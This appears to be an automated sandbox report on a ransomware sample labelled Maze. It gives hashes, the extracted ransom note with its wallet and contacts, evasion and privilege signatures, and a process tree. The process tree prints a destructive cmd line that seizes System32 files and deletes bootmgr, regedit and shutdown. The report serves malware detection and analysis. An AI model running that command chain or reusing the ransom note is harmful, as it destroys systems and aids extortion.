maze | 5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

General

Target

VSSVC.exe
Size

3.1MB
MD5

e4f24d91d8e7290ffd6afc8aa01c6d63
SHA1

b552c6af33cc5a62379028687924406cba8ff74d
SHA256

5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb
SHA512

ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

Wallets

bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

VSSVC.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ConvertToUpdate.raw => C:\Users\Admin\Pictures\ConvertToUpdate.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\RepairSet.crw => C:\Users\Admin\Pictures\RepairSet.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

Processes:

takeown.exetakeown.exeicacls.exetakeown.exeicacls.exe

pid	Process
1584	takeown.exe
1872	takeown.exe
1040	icacls.exe
984	takeown.exe
1836	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

VSSVC.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exetakeown.exe

pid	Process
1872	takeown.exe
1040	icacls.exe
984	takeown.exe
1836	icacls.exe
1584	takeown.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral1/memory/1996-54-0x0000000000B90000-0x0000000000B91000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

VSSVC.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

VSSVC.exe

pid	Process
1996	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

VSSVC.exetakeown.exetakeown.exetakeown.exe

description	pid	Process
Token: SeDebugPrivilege	1996	VSSVC.exe
Token: SeDebugPrivilege	1996	VSSVC.exe
Token: SeTakeOwnershipPrivilege	1872	takeown.exe
Token: SeTakeOwnershipPrivilege	984	takeown.exe
Token: SeTakeOwnershipPrivilege	1584	takeown.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

VSSVC.execmd.exe

description	pid	Process	procid_target
PID 1996 wrote to memory of 1328	1996	VSSVC.exe	33
PID 1996 wrote to memory of 1328	1996	VSSVC.exe	33
PID 1996 wrote to memory of 1328	1996	VSSVC.exe	33
PID 1996 wrote to memory of 1328	1996	VSSVC.exe	33
PID 1328 wrote to memory of 1872	1328	cmd.exe	35
PID 1328 wrote to memory of 1872	1328	cmd.exe	35
PID 1328 wrote to memory of 1872	1328	cmd.exe	35
PID 1328 wrote to memory of 1872	1328	cmd.exe	35
PID 1328 wrote to memory of 1040	1328	cmd.exe	36
PID 1328 wrote to memory of 1040	1328	cmd.exe	36
PID 1328 wrote to memory of 1040	1328	cmd.exe	36
PID 1328 wrote to memory of 1040	1328	cmd.exe	36
PID 1328 wrote to memory of 984	1328	cmd.exe	37
PID 1328 wrote to memory of 984	1328	cmd.exe	37
PID 1328 wrote to memory of 984	1328	cmd.exe	37
PID 1328 wrote to memory of 984	1328	cmd.exe	37
PID 1328 wrote to memory of 1836	1328	cmd.exe	38
PID 1328 wrote to memory of 1836	1328	cmd.exe	38
PID 1328 wrote to memory of 1836	1328	cmd.exe	38
PID 1328 wrote to memory of 1836	1328	cmd.exe	38
PID 1328 wrote to memory of 1584	1328	cmd.exe	39
PID 1328 wrote to memory of 1584	1328	cmd.exe	39
PID 1328 wrote to memory of 1584	1328	cmd.exe	39
PID 1328 wrote to memory of 1584	1328	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
"C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
1⤵
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1872
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1040
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\drivers
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:984
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\drivers /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1836
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\LogonUI.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1584

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\DECRYPT-FILES.TXT
1⤵
PID:576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

MD5
8f6a1f1586c647b68aad35ce0f8dd416

SHA1
43a1727b987a2f66e7a9589c2ddac52030ca259b

SHA256
452727c78872048a0a2a8ebd2c8ea1246f1c959c521cc7f45d99956a67c1325f

SHA512
13bf3adbfd4deb3f60be04bf0fc87c56e483764e6806a072ec339cb48a080eab7d2f84439a0e2498f1c82231f8afae08de46253c79ee4ec3dcaec9c370e632ac

Download Submit
memory/576-57-0x000007FEFBBC1000-0x000007FEFBBC3000-memory.dmp

Filesize
8KB

Download
memory/984-62-0x0000000000000000-mapping.dmp

Download
memory/1040-61-0x0000000000000000-mapping.dmp

Download
memory/1328-59-0x0000000000000000-mapping.dmp

Download
memory/1584-64-0x0000000000000000-mapping.dmp

Download
memory/1836-63-0x0000000000000000-mapping.dmp

Download
memory/1872-60-0x0000000000000000-mapping.dmp

Download
memory/1996-52-0x0000000075201000-0x0000000075203000-memory.dmp

Filesize
8KB

Download
memory/1996-54-0x0000000000B90000-0x0000000000B91000-memory.dmp

Filesize
4KB

Download
memory/1996-56-0x0000000005520000-0x0000000005521000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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